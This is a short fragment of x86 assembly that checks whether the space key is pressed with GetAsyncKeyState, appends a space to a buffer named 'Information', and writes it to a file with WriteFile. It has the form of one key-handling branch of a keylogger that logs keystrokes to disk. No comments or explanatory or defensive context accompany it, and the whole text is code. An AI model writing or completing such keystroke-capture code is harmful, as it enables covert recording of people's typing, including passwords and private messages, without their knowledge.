Invoke GetAsyncKeyState, VK_SPACE ;                        
      .if eax != 0 ;                                    
            inc Ordre 
  Defini Def26," " 
      invoke lstrcat,addr Information, addr Def26 
 push 0 
      push offset NbByteWritten 
      push 1 
      push offset Def26 
      push hFile 
      call WriteFile 
      .endif